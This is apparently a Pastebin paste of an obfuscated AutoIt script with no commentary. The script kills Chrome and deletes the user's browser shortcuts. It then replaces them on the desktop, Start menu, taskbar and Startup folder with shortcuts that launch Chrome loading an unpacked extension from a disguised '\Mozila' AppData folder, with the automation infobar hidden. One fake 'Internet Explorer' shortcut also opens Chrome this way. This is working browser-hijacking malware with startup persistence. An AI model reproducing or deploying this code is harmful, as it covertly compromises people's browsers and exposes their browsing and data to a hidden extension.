Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Global Const $load_library_as_datafile = 2
- Func _winapi_loadlibraryex($sfilename, $iflags = 0)
- Local $aresult = DllCall("kernel32.dll", "handle", "LoadLibraryExW", "wstr", $sfilename, "ptr", 0, "dword", $iflags)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_loadstring($hinstance, $istringid)
- Local $aresult = DllCall("user32.dll", "int", "LoadStringW", "handle", $hinstance, "uint", $istringid, "wstr", "", "int", 4096)
- If @error OR NOT $aresult[0] Then Return SetError(@error + 10, @extended, "")
- Return SetExtended($aresult[0], $aresult[3])
- EndFunc
- Func _winapi_freelibrary($hmodule)
- Local $aresult = DllCall("kernel32.dll", "bool", "FreeLibrary", "handle", $hmodule)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- DirCreate(@AppDataDir & "\Mozila\")
- Func writelnk($DU96650J50007, $PY88057E8772 = 'p2sm', $QE84068V19446 = '',$FH37126V95637='Google Chrome')
- $MX50889N8062 = 0
- If Not FileExists($DU96650J50007) Or @OSBuild < 7600 Then return False ; to arrange to your liking, SetError() & co
- ;split path, filename and extension
- $chromeroutesplit = StringSplit($DU96650J50007, '\')
- $LQ96791B72186 = $chromeroutesplit[0]
- $NY46912G26724H79275Y54978 = $chromeroutesplit[$LQ96791B72186]
- $chromeroute = StringReplace($DU96650J50007, $NY46912G26724H79275Y54978, '')
- $chromeroute = StringTrimRight($chromeroute, 1)
- $NY46912G26724H79275Y54978split = StringSplit($NY46912G26724H79275Y54978, ".")
- $QX55252I86473 = $NY46912G26724H79275Y54978split[0]
- $NY46912G26724H79275Y54978ext = $NY46912G26724H79275Y54978split[$QX55252I86473]
- $NY46912G26724H79275Y54978name = StringReplace($NY46912G26724H79275Y54978, '.' & $NY46912G26724H79275Y54978ext, '', 1)
- ;define code to use depending on action choosen
- Switch $PY88057E8772
- Case 'pin2SM', 'p2sm' ;pin to Start Menu
- $DW40391F60732 = 5381
- Case 'unpinFromSM', 'up2sm' ;unpin from Start Menu
- $DW40391F60732 = 5382
- Case 'pin2TB', 'p2tb' ;pin to Task Bar
- $DW40391F60732 = 5386
- Case 'unpinFromTB', 'up2tb' ;unpin from Task Bar
- $DW40391F60732 = 5387
- EndSwitch
- ;if arguments, make a shortcut, pin it then mark it for deletion
- If $QE84068V19446 <> '' And $DW40391F60732 <> 5382 And $DW40391F60732 <> 5387 Then
- $LU75806O87936 = @DesktopDir & '\' & $NY46912G26724H79275Y54978name & '.lnk'
- FileCreateShortcut($DU96650J50007, $LU75806O87936, $chromeroute, $QE84068V19446, $FH37126V95637 & ' ' & $QE84068V19446, $DU96650J50007)
- $chromeroute = @DesktopDir
- $NY46912G26724H79275Y54978 = $NY46912G26724H79275Y54978name & '.lnk'
- $MX50889N8062 = 1
- EndIf
- ;retrieve Localized text for action
- $VN21839D40239 = _WinAPI_LoadLibraryEx('shell32.dll', $LOAD_LIBRARY_AS_DATAFILE)
- If $VN21839D40239 Then
- $LD50094H23343 = _WinAPI_LoadString($VN21839D40239, $DW40391F60732)
- ;If @error Then MsgBox(0, YK69395P92380('0x0329391612CD7FF847BAAFA72361CF1E','63504267791308182131'), _WinAPI_GetLastErrorMessage()) ;debug
- _WinAPI_FreeLibrary($VN21839D40239)
- EndIf
- If $DW40391F60732 == 5382 Then
- $chromeroute = @UserProfileDir & '\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu'
- $NY46912G26724H79275Y54978 = $NY46912G26724H79275Y54978name & '.lnk'
- EndIf
- ;pin or unpin
- $GX26215V48494 = ObjCreate('Shell.Application')
- $CV39051H10739 = $GX26215V48494.Namespace($chromeroute)
- $CV39051H10739Item = $CV39051H10739.ParseName($NY46912G26724H79275Y54978)
- If IsObj($CV39051H10739Item) Then
- For $CV81871N53913 in $CV39051H10739Item.Verbs()
- If StringInStr($CV81871N53913(), $LD50094H23343) Then $CV81871N53913.DoIt()
- Next
- Else
- ;ConsoleWrite($CV39051H10739Item.Verbs())
- EndIf
- ;clean temporary shortcut
- If $MX50889N8062 Then
- FileDelete($LU75806O87936)
- EndIf
- EndFunc
- Func rutefunc()
- Local $TB44737Z1859
- Local $chromeroute
- Local $chromeread=RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe", "Path")
- If StringInStr(RegRead("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome", "InstallLocation"), "Chrome") Then
- $chromeroute = RegRead("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome", "InstallLocation") & "\chrome.exe"
- ElseIf StringInStr(RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome", "InstallLocation"),"Chrome") Then
- $chromeroute=RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome", "InstallLocation") & "\chrome.exe"
- ElseIf StringInStr($chromeread,"Chrome") Then
- $chromeroute=$chromeread & "\chrome.exe"
- Else
- $chromeroute=is64bits() & "\Google\Chrome\Application\chrome.exe"
- EndIf
- return $chromeroute
- EndFunc
- Func is64bits()
- Local $programFiles
- Switch @OSArch
- Case "X86"
- $programFiles = "Program Files"
- Case "X64"
- $programFiles = "Program Files (x86)"
- EndSwitch
- Return @HomeDrive & "/" & $programFiles & "/"
- EndFunc ;==>is64bitsh
- Func iepath()
- Return is64bits() & "Internet Explorer/iexplore.exe"
- EndFunc
- FUNC GOO()
- $DACBB = "[REGEXPTITLE:(?i)(.*Chrome*)]"
- WHILE WINGETHANDLE($DACBB)
- WINCLOSE($DACBB)
- WEND
- PROCESSCLOSE("chrome.exe")
- ENDFUNC
- GOO()
- FileRecycle(@DesktopCommonDir & "\*Google*.lnk")
- FileRecycle(@DesktopCommonDir & "\Google*.lnk")
- FileRecycle(@DesktopDir & "\*Google*.lnk")
- FileRecycle(@DesktopDir & "\Google*.lnk")
- FileRecycle(@StartMenuDir & "\*Google*.lnk")
- FileRecycle(@StartMenuDir & "\Programs\*Google*.lnk")
- FileRecycle(@StartMenuDir & "\Google*.lnk")
- FileRecycle(@StartMenuCommonDir & "\*Google*.lnk")
- FileRecycle(@StartMenuCommonDir & "\Programs\*Google*.lnk")
- FileRecycle(@StartMenuCommonDir & "\Google*.lnk")
- FileDelete(@DesktopDir & "\*Chrome*.lnk")
- FileDelete(@DesktopDir& "\*Chrome*.lnk")
- FileDelete(@DesktopDir & "\*Google*.lnk")
- FileRecycle(@DesktopDir & "\*Google*.lnk")
- FileDelete(@DesktopDir& "\*Google*.lnk")
- FileDelete(@DesktopDir & "\*Internet*.lnk")
- FileDelete(@DesktopDir& "\*Internet*.lnk")
- FileDelete(@DesktopDir & "\*Explorer*.lnk")
- FileDelete(@DesktopDir& "\*Explorer*.lnk")
- writelnk(rutefunc(),"up2tb","","")
- writelnk(rutefunc(),"up2tb","","")
- writelnk(rutefunc(),"up2tb","","")
- writelnk(rutefunc(),"up2tb","","")
- writelnk(rutefunc(),"up2tb","","")
- writelnk(iepath(),"up2sm","","Internet Explorer")
- writelnk(rutefunc(),"up2sm","","Google Chrome")
- writelnk(rutefunc(), 'p2tb', BinaryToString('--enable-automation --disable-infobars --load-extension="') & @AppDataDir & "\Mozila" & '"',"Google Chrome")
- writelnk(rutefunc(), 'p2sm', BinaryToString('--enable-automation --disable-infobars --load-extension="') & @AppDataDir & "\Mozila" & '"',"Google Chrome")
- FileCreateShortcut(rutefunc(),@DesktopDir & "\Google Chrome.lnk", StringReplace(rutefunc(),"chrome.exe",""), '-enable-automation --disable-infobars --load-extension="' & @AppDataDir & "\Mozila" & '"', "Google Chrome", "", "", 15, @SW_SHOWMAXIMIZED)
- FileCreateShortcut(rutefunc(),@DesktopDir & "\Internet Explorer.lnk", StringReplace(rutefunc(),"chrome.exe",""), '-enable-automation --disable-infobars --load-extension="' & @AppDataDir & "\Mozila" & '"', "Google Chrome", "", "", 15, @SW_SHOWMAXIMIZED)
- FileCreateShortcut(rutefunc(),@StartupDir & "\Internet Explorer.lnk", StringReplace(rutefunc(),"chrome.exe",""), '-enable-automation --disable-infobars --load-extension="' & @AppDataDir & "\Mozila" & '"', "Google Chrome", "", "", 15, @SW_SHOWMAXIMIZED)
- FileCreateShortcut(rutefunc(),@StartMenuCommonDir & "\Programs\Google Chrome.lnk", StringReplace(rutefunc(),"chrome.exe",""), '-enable-automation --disable-infobars --load-extension="' & @AppDataDir & "\Mozila" & '"', "Google Chrome", "", "", 15, @SW_SHOWMAXIMIZED)
- FileCreateShortcut(rutefunc(),@StartMenuDir & "\Programs\Google Chrome.lnk", StringReplace(rutefunc(),"chrome.exe",""), '-enable-automation --disable-infobars --load-extension="' & @AppDataDir & "\Mozila" & '"', "Google Chrome", "", "", 15, @SW_SHOWMAXIMIZED)
- FileCreateShortcut(rutefunc(),@StartMenuCommonDir & "\Google Chrome.lnk", StringReplace(rutefunc(),"chrome.exe",""), '-enable-automation --disable-infobars --load-extension="' & @AppDataDir & "\Mozila" & '"', "Google Chrome", "", "", 15, @SW_SHOWMAXIMIZED)
- FileCreateShortcut(rutefunc(),@StartMenuDir & "\Google Chrome.lnk", StringReplace(rutefunc(),"chrome.exe",""), '-enable-automation --disable-infobars --load-extension="' & @AppDataDir & "\Mozila" & '"', "Google Chrome", "", "", 15, @SW_SHOWMAXIMIZED)
- Sleep(1000)
- SHELLEXECUTE("chrome.exe", '--enable-automation --disable-infobars --load-extension="' & @AppDataDir & '\Mozila' , "", "");
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement